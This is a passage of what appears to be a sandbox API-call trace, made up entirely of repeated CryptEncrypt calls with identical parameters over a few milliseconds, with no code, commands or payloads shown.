returned 1 [0161.383] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.383] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.383] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.383] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.383] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.383] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.383] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.383] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.383] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.383] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.383] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.383] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.383] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.383] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.383] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.383] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.384] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.384] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.384] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.384] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.384] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.384] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.384] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.384] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.384] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.384] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.384] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.384] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.384] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.384] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.384] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.384] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.384] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.384] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.384] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.384] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.384] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.385] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.385] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.385] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.385] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.385] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.385] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.385] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.385] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.385] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.385] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.385] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.385] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.385] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.385] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.385] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.385] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.385] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.385] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.385] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.386] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.386] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.386] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.386] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.386] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.386] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.386] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.386] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.386] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.386] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.386] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.386] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.386] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.386] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.386] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.386] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.386] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.386] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.386] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.386] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.386] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.387] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.387] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.387] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.387] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.387] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.387] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.387] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.387] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.387] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.387] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.387] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.387] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.387] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.387] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.387] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.387] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.387] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.387] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.387] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.387] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.387] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.387] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.387] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.387] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.388] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.388] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.388] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.388] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, 